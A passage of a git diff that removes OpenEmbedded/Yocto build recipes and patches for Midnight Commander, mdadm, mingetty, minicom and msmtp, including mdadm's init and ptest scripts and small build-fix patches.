1From 75b0c46bce7438fd4d4cf3d18c2d83f874793111 Mon Sep 17 00:00:00 2001
2From: Richard Purdie <richard.purdie@linuxfoundation.org>
3Date: Tue, 4 Feb 2020 18:12:15 +0000
4Subject: [PATCH] mc: Fix manpage date indeterminism
5MIME-Version: 1.0
6Content-Type: text/plain; charset=UTF-8
7Content-Transfer-Encoding: 8bit
8
9The man page date can vary depending upon the host perl, e.g. in Russian
10some versions print 'июня', others 'Июнь' or Polish 'czerwca' or 'czerwiec'.
11Rather than depend upon perl-native to fix this, just remove the date from
12the manpages.
13
14RP 2020/2/4
15
16Upstream-Status: Inappropriate [OE specficic reproducibility workaround]
17Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
18---
19 doc/man/date-of-man-include.am | 2 +-
20 1 file changed, 1 insertion(+), 1 deletion(-)
21
22diff --git a/doc/man/date-of-man-include.am b/doc/man/date-of-man-include.am
23index ede02e4..19300eb 100644
24--- a/doc/man/date-of-man-include.am
25+++ b/doc/man/date-of-man-include.am
26@@ -1,5 +1,5 @@
27 SED_PARAMETERS = \
28- -e "s/%DATE_OF_MAN_PAGE%/$${MAN_DATE}/g" \
29+ -e "s/%DATE_OF_MAN_PAGE%//g" \
30 -e "s/%MAN_VERSION%/@MAN_VERSION@/g" \
31 -e "s{%sysconfdir%{@sysconfdir@{g" \
32 -e "s{%libexecdir%{@libexecdir@{g" \
diff --git a/meta/recipes-extended/mc/mc_4.8.33.bb b/meta/recipes-extended/mc/mc_4.8.33.bb
deleted file mode 100644
index fd18edf7be..0000000000
--- a/meta/recipes-extended/mc/mc_4.8.33.bb
+++ /dev/null
@@ -1,59 +0,0 @@
1SUMMARY = "Midnight Commander is an ncurses based file manager"
2HOMEPAGE = "http://www.midnight-commander.org/"
3DESCRIPTION = "GNU Midnight Commander is a visual file manager, licensed under GNU General Public License and therefore qualifies as Free Software. It's a feature rich full-screen text mode application that allows you to copy, move and delete files and whole directory trees, search for files and run commands in the subshell. Internal viewer and editor are included."
4LICENSE = "GPL-3.0-only"
5LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
6SECTION = "console/utils"
7DEPENDS = "ncurses glib-2.0 util-linux file-replacement-native"
8RDEPENDS:${PN} = "ncurses-terminfo-base"
9RRECOMMENDS:${PN} = "ncurses-terminfo"
10
11SRC_URI = "http://ftp.midnight-commander.org/${BPN}-${PV}.tar.bz2 \
12 file://nomandate.patch \
13 "
14SRC_URI[sha256sum] = "a3ceb0af84226fedfe5f339464ff2849c3f6bf0321b72027c47b2c10e66a6dba"
15
16inherit autotools gettext pkgconfig
17
18#
19# Both Samba (smb) and sftp require package delivered from meta-openembedded
20#
21PACKAGECONFIG ??= ""
22PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
23
24# enable NCURSES_WIDECHAR=1 only if ENABLE_WIDEC has not been explicitly disabled (e.g. by the distro config).
25# When compiling against the ncurses library, NCURSES_WIDECHAR needs to explicitly set to 0 in this case.
26CFLAGS:append:libc-musl = "${@' -DNCURSES_WIDECHAR=1' if bb.utils.to_boolean((d.getVar('ENABLE_WIDEC') or 'True')) else ' -DNCURSES_WIDECHAR=0'}"
27EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args"
28EXTRANATIVEPATH += "file-native"
29
30CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
31CACHED_CONFIGUREVARS += "ac_cv_path_PERL_FOR_BUILD='/usr/bin/env perl'"
32CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'"
33CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'"
34CACHED_CONFIGUREVARS += "ac_cv_path_ZIP='/usr/bin/zip'"
35CACHED_CONFIGUREVARS += "ac_cv_path_UNZIP='/usr/bin/unzip'"
36CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes"
37
38do_install:append () {
39 sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
40
41 rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
42}
43
44PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-shell"
45
46SUMMARY:${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
47FILES:${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
48 ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
49 ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
50 ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
51 ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
52 ${libexecdir}/mc/extfs.d/uzip"
53RDEPENDS:${BPN}-helpers-perl = "perl"
54
55SUMMARY:${BPN}-helpers = "Midnight Commander shell helper scripts"
56FILES:${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
57
58SUMMARY:${BPN}-shell = "Midnight Commander Shell scripts"
59FILES:${BPN}-shell = "${libexecdir}/mc/shell"
diff --git a/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch b/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
deleted file mode 100644
index 8598aea1f1..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
+++ /dev/null
@@ -1,30 +0,0 @@
1From 232101e2fcc6359fb6db2bc232570e373e368c75 Mon Sep 17 00:00:00 2001
2From: "Maxin B. John" <maxin.john@intel.com>
3Date: Tue, 9 Feb 2016 11:44:01 +0200
4Subject: [PATCH] Fix the path of corosync and dlm header files check
5
6Original Makefile will check headers on host instead of sysroot.
7Fix it.
8
9Upstream-Status: Inappropriate [Yocto specific]
10
11Signed-off-by: Maxin B. John <maxin.john@intel.com>
12---
13 Makefile | 4 ++--
14 1 file changed, 2 insertions(+), 2 deletions(-)
15
16diff --git a/Makefile b/Makefile
17index bcd092de..0a78cd22 100644
18--- a/Makefile
19+++ b/Makefile
20@@ -130,8 +130,8 @@ FAILED_SLOTS_DIR = $(RUN_DIR)/failed-slots
21 SYSTEMD_DIR=/lib/systemd/system
22 LIB_DIR=/usr/libexec/mdadm
23
24-COROSYNC:=$(shell [ -d /usr/include/corosync ] || echo -DNO_COROSYNC)
25-DLM:=$(shell [ -f /usr/include/libdlm.h ] || echo -DNO_DLM)
26+COROSYNC:=$(shell [ -f $(SYSROOT)/usr/include/corosync/cmap.h ] || echo -DNO_COROSYNC)
27+DLM:=$(shell [ -f $(SYSROOT)/usr/include/libdlm.h ] || echo -DNO_DLM)
28
29 DIRFLAGS = -DMAP_DIR=\"$(MAP_DIR)\" -DMAP_FILE=\"$(MAP_FILE)\"
30 DIRFLAGS += -DMDMON_DIR=\"$(MDMON_DIR)\"
diff --git a/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
deleted file mode 100644
index bb4e8d0604..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
+++ /dev/null
@@ -1,27 +0,0 @@
1From 407691e11037709af888ce2cf6bd5eac6971ac61 Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Tue, 25 Jan 2022 16:25:01 +0800
4Subject: [PATCH] Makefile: install mdcheck
5
6The mdcheck_xxx.service files use mdcheck, but it's not installed.
7We need to install this script.
8
9Upstream-Status: Submitted [Sent patch to maintainer]
10
11Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
12---
13 Makefile | 1 +
14 1 file changed, 1 insertion(+)
15
16diff --git a/Makefile b/Makefile
17index 981e16fa..b28e7855 100644
18--- a/Makefile
19+++ b/Makefile
20@@ -345,6 +345,7 @@ install-systemd: systemd/mdmon@.service
21 install-bin: mdadm mdmon
22 $(INSTALL) -D $(STRIP) -m 755 mdadm $(DESTDIR)$(BINDIR)/mdadm
23 $(INSTALL) -D $(STRIP) -m 755 mdmon $(DESTDIR)$(BINDIR)/mdmon
24+ $(INSTALL) -D -m 755 misc/mdcheck $(DESTDIR)/usr/share/mdadm/mdcheck
25
26 uninstall:
27 rm -f $(DESTDIR)$(MAN8DIR)/mdadm.8 $(DESTDIR)$(MAN8DIR)/mdmon.8 $(DESTDIR)$(MAN4DIR)/md.4 $(DESTDIR)$(MAN5DIR)/mdadm.conf.5 $(DESTDIR)$(BINDIR)/mdadm
diff --git a/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch b/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch
deleted file mode 100644
index aa874dbec3..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch
+++ /dev/null
@@ -1,155 +0,0 @@
1From 9e3b15adf86147fe581cd2159cb99708abe26158 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Thu, 10 Nov 2022 12:31:22 -0800
4Subject: [PATCH] restripe.c: Use _FILE_OFFSET_BITS to enable largefile support
5
6Instead of using the lseek64 and friends, its better to enable it via
7the feature macro _FILE_OFFSET_BITS = 64 and let the C library deal with
8the width of types
9
10Upstream-Status: Submitted [https://lore.kernel.org/linux-raid/20221110225546.337164-1-raj.khem@gmail.com/]
11Signed-off-by: Khem Raj <raj.khem@gmail.com>
12---
13 raid6check.c | 11 +++++++----
14 restripe.c | 13 ++++++++-----
15 swap_super.c | 13 +++++++------
16 3 files changed, 22 insertions(+), 15 deletions(-)
17
18diff --git a/raid6check.c b/raid6check.c
19index 99477761..8e7f1421 100644
20--- a/raid6check.c
21+++ b/raid6check.c
22@@ -22,6 +22,9 @@
23 * Based on "restripe.c" from "mdadm" codebase
24 */
25
26+/* Enable largefile support */
27+#define _FILE_OFFSET_BITS 64
28+
29 #include "mdadm.h"
30 #include <stdint.h>
31 #include <sys/mman.h>
32@@ -284,9 +287,9 @@ int manual_repair(int chunk_size, int syndrome_disks,
33 }
34
35 int write_res1, write_res2;
36- off64_t seek_res;
37+ off_t seek_res;
38
39- seek_res = lseek64(source[fd1],
40+ seek_res = lseek(source[fd1],
41 offsets[fd1] + start * chunk_size, SEEK_SET);
42 if (seek_res < 0) {
43 fprintf(stderr, "lseek failed for failed_disk1\n");
44@@ -294,7 +297,7 @@ int manual_repair(int chunk_size, int syndrome_disks,
45 }
46 write_res1 = write(source[fd1], blocks[failed_slot1], chunk_size);
47
48- seek_res = lseek64(source[fd2],
49+ seek_res = lseek(source[fd2],
50 offsets[fd2] + start * chunk_size, SEEK_SET);
51 if (seek_res < 0) {
52 fprintf(stderr, "lseek failed for failed_disk2\n");
53@@ -379,7 +382,7 @@ int check_stripes(struct mdinfo *info, int *source, unsigned long long *offsets,
54 goto exitCheck;
55 }
56 for (i = 0 ; i < raid_disks ; i++) {
57- off64_t seek_res = lseek64(source[i], offsets[i] + start * chunk_size,
58+ off_t seek_res = lseek(source[i], offsets[i] + start * chunk_size,
59 SEEK_SET);
60 if (seek_res < 0) {
61 fprintf(stderr, "lseek to source %d failed\n", i);
62diff --git a/restripe.c b/restripe.c
63index 5e126eb7..af76c634 100644
64--- a/restripe.c
65+++ b/restripe.c
66@@ -22,6 +22,9 @@
67 * Email: <neilb@suse.de>
68 */
69
70+/* Enable largefile support */
71+#define _FILE_OFFSET_BITS 64
72+
73 #include "mdadm.h"
74 #include "xmalloc.h"
75
76@@ -583,7 +586,7 @@ int save_stripes(int *source, unsigned long long *offsets,
77 raid_disks, level, layout);
78 if (dnum < 0) abort();
79 if (source[dnum] < 0 ||
80- lseek64(source[dnum],
81+ lseek(source[dnum],
82 offsets[dnum] + offset, 0) < 0 ||
83 read(source[dnum], buf+disk * chunk_size,
84 chunk_size) != chunk_size) {
85@@ -756,8 +759,8 @@ int restore_stripes(int *dest, unsigned long long *offsets,
86 raid_disks, level, layout);
87 if (src_buf == NULL) {
88 /* read from file */
89- if (lseek64(source, read_offset, 0) !=
90- (off64_t)read_offset) {
91+ if (lseek(source, read_offset, 0) !=
92+ (off_t)read_offset) {
93 rv = -1;
94 goto abort;
95 }
96@@ -818,7 +821,7 @@ int restore_stripes(int *dest, unsigned long long *offsets,
97 }
98 for (i=0; i < raid_disks ; i++)
99 if (dest[i] >= 0) {
100- if (lseek64(dest[i],
101+ if (lseek(dest[i],
102 offsets[i]+offset, 0) < 0) {
103 rv = -1;
104 goto abort;
105@@ -868,7 +871,7 @@ int test_stripes(int *source, unsigned long long *offsets,
106 int disk;
107
108 for (i = 0 ; i < raid_disks ; i++) {
109- if ((lseek64(source[i], offsets[i]+start, 0) < 0) ||
110+ if ((lseek(source[i], offsets[i]+start, 0) < 0) ||
111 (read(source[i], stripes[i], chunk_size) !=
112 chunk_size)) {
113 free(q);
114diff --git a/swap_super.c b/swap_super.c
115index b6db5743..18c89e2b 100644
116--- a/swap_super.c
117+++ b/swap_super.c
118@@ -1,3 +1,6 @@
119+/* Enable largefile support */
120+#define _FILE_OFFSET_BITS 64
121+
122 #include <unistd.h>
123 #include <stdlib.h>
124 #include <fcntl.h>
125@@ -16,8 +19,6 @@
126
127 #define MD_NEW_SIZE_SECTORS(x) ((x & ~(MD_RESERVED_SECTORS - 1)) - MD_RESERVED_SECTORS)
128
129-extern long long lseek64(int, long long, int);
130-
131 int main(int argc, char *argv[])
132 {
133 int fd, i;
134@@ -38,8 +39,8 @@ int main(int argc, char *argv[])
135 exit(1);
136 }
137 offset = MD_NEW_SIZE_SECTORS(size) * 512LL;
138- if (lseek64(fd, offset, 0) < 0LL) {
139- perror("lseek64");
140+ if (lseek(fd, offset, 0) < 0LL) {
141+ perror("lseek");
142 exit(1);
143 }
144 if (read(fd, super, 4096) != 4096) {
145@@ -68,8 +69,8 @@ int main(int argc, char *argv[])
146 super[32*4+10*4 +i] = t;
147 }
148
149- if (lseek64(fd, offset, 0) < 0LL) {
150- perror("lseek64");
151+ if (lseek(fd, offset, 0) < 0LL) {
152+ perror("lseek");
153 exit(1);
154 }
155 if (write(fd, super, 4096) != 4096) {
diff --git a/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch b/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch
deleted file mode 100644
index e425fc446e..0000000000
--- a/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch
+++ /dev/null
@@ -1,27 +0,0 @@
1From 8de073c637a1ea968b7304f373a20b13a4a47bbc Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex@linutronix.de>
3Date: Tue, 12 Mar 2024 10:54:08 +0100
4Subject: [PATCH] Create.c: include linux/falloc.h for FALLOC_FL_ZERO_RANGE
5 definition
6
7glibc provides this through fcntl.h but musl does not - should
8be reported and fixed there.
9
10Upstream-Status: Inappropriate [musl-specific issue]
11Signed-off-by: Alexander Kanavin <alex@linutronix.de>
12---
13 Create.c | 1 +
14 1 file changed, 1 insertion(+)
15
16diff --git a/Create.c b/Create.c
17index fd6c9215..3210a03e 100644
18--- a/Create.c
19+++ b/Create.c
20@@ -33,6 +33,7 @@
21 #include <signal.h>
22 #include <sys/signalfd.h>
23 #include <sys/wait.h>
24+#include <linux/falloc.h>
25
26 #ifndef FALLOC_FL_ZERO_RANGE
27 #define FALLOC_FL_ZERO_RANGE 16
diff --git a/meta/recipes-extended/mdadm/files/mdadm.init b/meta/recipes-extended/mdadm/files/mdadm.init
deleted file mode 100644
index cab91b9acc..0000000000
--- a/meta/recipes-extended/mdadm/files/mdadm.init
+++ /dev/null
@@ -1,72 +0,0 @@
1#!/bin/sh
2#
3# Start the MD monitor daemon for all active MD arrays if desired.
4#
5### BEGIN INIT INFO
6# Provides: mdadm
7# Required-Start: $local_fs $syslog mdadm-raid
8# Required-Stop: $local_fs $syslog mdadm-raid
9# Default-Start: 2 3 4 5
10# Default-Stop: 0 1 6
11# Short-Description: MD monitoring daemon
12# Description: mdadm provides a monitor mode, in which it will scan for
13# problems with the MD devices. If a problem is found, the
14# administrator is alerted via email, or a custom script is
15# run.
16### END INIT INFO
17#
18
19MDADM=/sbin/mdadm
20RUNDIR=/var/run/mdadm
21PIDFILE=$RUNDIR/monitor.pid
22DEBIANCONFIG=/etc/default/mdadm
23
24test -x "$MDADM" || exit 0
25
26test -f /proc/mdstat || exit 0
27
28START_DAEMON=true
29test -f $DEBIANCONFIG && . $DEBIANCONFIG
30
31. /lib/lsb/init-functions
32
33# Include functions
34. /etc/init.d/functions
35
36case "${1:-}" in
37 start)
38 if is_true $START_DAEMON; then
39 log_daemon_msg "Starting MD monitoring service" "mdadm --monitor"
40 mkdir -p $RUNDIR
41 start-stop-daemon -S -p $PIDFILE -x $MDADM -- \
42 --monitor --pid-file $PIDFILE --daemonise --scan ${DAEMON_OPTIONS:-}
43 RETVAL=$?
44 log_end_msg $RETVAL
45 exit $RETVAL
46 fi
47 ;;
48 stop)
49 if [ -f $PIDFILE ] ; then
50 log_daemon_msg "Stopping MD monitoring service" "mdadm --monitor"
51 start-stop-daemon -K -p $PIDFILE -x $MDADM
52 RETVAL=$?
53 rm -f $PIDFILE
54 log_end_msg $RETVAL
55 exit $RETVAL
56 fi
57 ;;
58 status)
59 status -p $PIDFILE "$MDADM" && exit 0 || exit $?
60 ;;
61 restart|reload|force-reload)
62 ${0:-} stop
63 ${0:-} start
64 ;;
65 *)
66 echo "Usage: ${0:-} {start|stop|status|restart|reload|force-reload}" >&2
67 exit 1
68 ;;
69esac
70
71exit 0
72
diff --git a/meta/recipes-extended/mdadm/files/run-ptest b/meta/recipes-extended/mdadm/files/run-ptest
deleted file mode 100644
index c3f201491e..0000000000
--- a/meta/recipes-extended/mdadm/files/run-ptest
+++ /dev/null
@@ -1,10 +0,0 @@
1#!/bin/sh
2
3logdir=$PWD/logs
4targetdir=/mdadm-testing-dir
5
6rm -rf $targetdir $logdir
7mkdir -p $targetdir $logdir
8
9# make the test continue to execute even one fail
10./test --keep-going --disable-integrity --skip-broken --save-logs --logdir=$logdir
diff --git a/meta/recipes-extended/mdadm/files/xmalloc.patch b/meta/recipes-extended/mdadm/files/xmalloc.patch
deleted file mode 100644
index 61774721d0..0000000000
--- a/meta/recipes-extended/mdadm/files/xmalloc.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1From c5cf5a83be4e3ce04ebf3250f77aeb465eeb53a1 Mon Sep 17 00:00:00 2001
2From: Xiao Ni <xni@redhat.com>
3Date: Fri, 17 Jan 2025 15:15:40 +0800
4Subject: [PATCH] mdadm/raid6check: add xmalloc.h to raid6check.c
5
6It reports building error:
7raid6check.c:324:26: error: implicit declaration of function xmalloc
8
9Add xmalloc.h to raid6check.c file to fix this.
10
11Signed-off-by: Xiao Ni <xni@redhat.com>
12Link: https://lore.kernel.org/r/20250117071540.4094-1-xni@redhat.com
13Signed-off-by: Song Liu <song@kernel.org>
14
15Upstream-Status: Backport [https://web.git.kernel.org/pub/scm/utils/mdadm/mdadm.git/commit/?h=main&id=e0df6c4c984d564e9e40913727e916a6cd8f466e]
16Signed-off-by: Alexander Kanavin <alex@linutronix.de>
17---
18 raid6check.c | 1 +
19 1 file changed, 1 insertion(+)
20
21diff --git a/raid6check.c b/raid6check.c
22index 8e7f1421..486b10c6 100644
23--- a/raid6check.c
24+++ b/raid6check.c
25@@ -26,6 +26,7 @@
26 #define _FILE_OFFSET_BITS 64
27
28 #include "mdadm.h"
29+#include "xmalloc.h"
30 #include <stdint.h>
31 #include <sys/mman.h>
32
diff --git a/meta/recipes-extended/mdadm/mdadm_4.4.bb b/meta/recipes-extended/mdadm/mdadm_4.4.bb
deleted file mode 100644
index 26a60e4c1a..0000000000
--- a/meta/recipes-extended/mdadm/mdadm_4.4.bb
+++ /dev/null
@@ -1,108 +0,0 @@
1SUMMARY = "Tool for managing software RAID under Linux"
2HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/"
3DESCRIPTION = "mdadm is a Linux utility used to manage and monitor software RAID devices."
4
5# Some files are GPL-2.0-only while others are GPL-2.0-or-later.
6LICENSE = "GPL-2.0-only & GPL-2.0-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
8 file://mdmon.c;beginline=4;endline=18;md5=af7d8444d9c4d3e5c7caac0d9d34039d \
9 file://mdadm.h;beglinlne=4;endline=22;md5=462bc9936ac0d3da110191a3f9994161"
10
11SRC_URI = "git://git.kernel.org/pub/scm/utils/mdadm/mdadm.git;protocol=https;branch=main;tag=mdadm-${PV} \
12 file://run-ptest \
13 file://0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch \
14 file://mdadm.init \
15 file://0001-Makefile-install-mdcheck.patch \
16 file://0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch \
17 file://0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch \
18 file://xmalloc.patch \
19 "
20
21SRCREV = "8e56efac9afd7080bb42bae4b77cdad5f345633a"
22
23inherit ptest systemd
24
25DEPENDS = "udev"
26
27SYSTEMD_SERVICE:${PN} = "mdmonitor.service"
28SYSTEMD_AUTO_ENABLE = "disable"
29
30# PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h
31# prevents 64-bit userland from seeing this definition, instead defaulting
32# to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get
33# int-ll64.h included
34CFLAGS:append:powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
35CFLAGS:append:mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
36CFLAGS:append:mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
37
38EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CWFLAGS="" CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_system_unitdir} \
39 BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev" LDFLAGS="${LDFLAGS}" \
40 SYSROOT="${STAGING_DIR_TARGET}" STRIP='
41
42DEBUG_OPTIMIZATION:append = " -Wno-error"
43
44do_install() {
45 oe_runmake 'DESTDIR=${D}' install install-systemd
46 install -d ${D}/${sysconfdir}/
47 install -m 644 ${S}/documentation/mdadm.conf-example ${D}${sysconfdir}/mdadm.conf
48 install -d ${D}/${sysconfdir}/init.d
49 install -m 755 ${UNPACKDIR}/mdadm.init ${D}${sysconfdir}/init.d/mdmonitor
50}
51
52do_compile_ptest() {
53 oe_runmake test
54}
55
56do_install_ptest() {
57 cp -R --no-dereference --preserve=mode,links -v ${S}/tests ${D}${PTEST_PATH}/tests
58 cp ${S}/test ${D}${PTEST_PATH}
59 sed -e 's!sleep 0.*!sleep 1!g; s!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/test
60 sed -i -e '/echo -ne "$_script... "/d' \
61 -e 's/echo "succeeded"/echo -e "PASS: $_script"/g' \
62 -e '/save_log fail/N; /_fail=1/i\\t\t\techo -ne "FAIL: $_script"' \
63 -e '/die "dmesg prints errors when testing $_basename!"/i\\t\t\t\techo -ne "FAIL: $_script" &&' \
64 ${D}${PTEST_PATH}/test
65
66 chmod +x ${D}${PTEST_PATH}/test
67
68 ln -s ${base_sbindir}/mdadm ${D}${PTEST_PATH}/mdadm
69 for prg in test_stripe swap_super raid6check
70 do
71 install -D -m 755 $prg ${D}${PTEST_PATH}/
72 done
73
74 # Disable tests causing intermittent autobuilder failures
75 echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/19raid6check.broken
76 echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/20raid5journal.broken
77 echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/21raid5cache.broken
78 echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/10ddf-fail-spare.broken
79 echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/10ddf-fail-stop-readd.broken
80}
81
82RDEPENDS:${PN} += "bash"
83RDEPENDS:${PN}-ptest += " \
84 bash \
85 e2fsprogs-mke2fs \
86 util-linux-lsblk \
87 util-linux-losetup \
88 util-linux-blockdev \
89 strace \
90"
91RRECOMMENDS:${PN}-ptest += " \
92 coreutils \
93 kernel-module-loop \
94 kernel-module-linear \
95 kernel-module-raid0 \
96 kernel-module-raid1 \
97 kernel-module-raid10 \
98 kernel-module-raid456 \
99"
100
101FILES:${PN} += "${systemd_unitdir}/*"
102
103# strace is not yet ported to rv32
104RDEPENDS:${PN}-ptest:remove:riscv32 = "strace"
105do_install_ptest:append:riscv32 () {
106 echo "disabled, no strace" > ${D}${PTEST_PATH}/tests/07revert-grow.broken
107 echo "disabled, no strace" > ${D}${PTEST_PATH}/tests/07revert-inplace.broken
108}
diff --git a/meta/recipes-extended/mingetty/mingetty_1.08.bb b/meta/recipes-extended/mingetty/mingetty_1.08.bb
deleted file mode 100644
index 892233054b..0000000000
--- a/meta/recipes-extended/mingetty/mingetty_1.08.bb
+++ /dev/null
@@ -1,28 +0,0 @@
1SUMMARY = "Compact getty terminal handler for virtual consoles only"
2SECTION = "console/utils"
3HOMEPAGE = "http://sourceforge.net/projects/mingetty/"
4DESCRIPTION = "This is a small Linux console getty that is started on the Linux text console, asks for a login name and then tranfers over to login directory. Is extended to allow automatic login and starting any app."
5LICENSE = "GPL-2.0-only"
6
7LIC_FILES_CHKSUM = "file://COPYING;md5=0c56db0143f4f80c369ee3af7425af6e"
8SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.gz"
9
10SRC_URI[sha256sum] = "0f55c90ba4faa913d91ef99cbf5cb2eb4dbe2780314c3bb17953f849c8cddd17"
11
12# substitute our CFLAGS for "-O2 -Wall -W -pipe"
13#
14EXTRA_OEMAKE = "CC='${CC}' \
15 CFLAGS='${CFLAGS} -D_GNU_SOURCE'"
16
17do_install(){
18 sed -i -e "/^SBINDIR=/c SBINDIR=$base_sbindir" ${S}/Makefile
19 install -d ${D}${mandir}/man8 ${D}/${base_sbindir}
20 oe_runmake install DESTDIR=${D}
21}
22
23inherit update-alternatives sourceforge-releases
24
25ALTERNATIVE:${PN} = "getty"
26ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
27ALTERNATIVE_TARGET[getty] = "${base_sbindir}/mingetty"
28ALTERNATIVE_PRIORITY = "10"
diff --git a/meta/recipes-extended/minicom/minicom_2.10.bb b/meta/recipes-extended/minicom/minicom_2.10.bb
deleted file mode 100644
index 20ce5662c2..0000000000
--- a/meta/recipes-extended/minicom/minicom_2.10.bb
+++ /dev/null
@@ -1,25 +0,0 @@
1SUMMARY = "Text-based modem control and terminal emulation program"
2HOMEPAGE = "https://salsa.debian.org/minicom-team/minicom"
3DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems"
4SECTION = "console/network"
5DEPENDS = "ncurses virtual/libiconv"
6LICENSE = "GPL-2.0-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \
8 file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81"
9
10SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.bz2"
11
12SRC_URI[sha256sum] = "90e7ce2856b3eaaa3f452354d17981c49d32c426a255b6f0d3063a227c101538"
13
14PACKAGECONFIG ??= ""
15PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev"
16
17inherit autotools gettext pkgconfig
18
19do_install() {
20 for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done
21}
22
23RRECOMMENDS:${PN} += "lrzsz"
24
25RDEPENDS:${PN} += "ncurses-terminfo-base"
diff --git a/meta/recipes-extended/msmtp/msmtp_1.8.31.bb b/meta/recipes-extended/msmtp/msmtp_1.8.31.bb
deleted file mode 100644
index f43dc38bd9..0000000000
--- a/meta/recipes-extended/msmtp/msmtp_1.8.31.bb
+++ /dev/null
@@ -1,27 +0,0 @@
1SUMMARY = "msmtp is an SMTP client"
2DESCRIPTION = "A sendmail replacement for use in MTAs like mutt"
3HOMEPAGE = "https://marlam.de/msmtp/"
4SECTION = "console/network"
5
6LICENSE = "GPL-3.0-only"
7DEPENDS = "zlib gnutls"
8
9LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
10
11UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/"
12
13SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz"
14SRC_URI[sha256sum] = "c262b11762d8582a3c6d6ca8d8b2cca2b1605497324ca27cc57fdc145a27119f"
15
16inherit gettext autotools update-alternatives pkgconfig
17
18EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn"
19
20ALTERNATIVE:${PN} = "sendmail"
21# /usr/lib/sendmial is required by LSB core test
22ALTERNATIVE:${PN}:linuxstdbase = "sendmail usr-lib-sendmail"
23ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp"
24ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail"
25ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp"
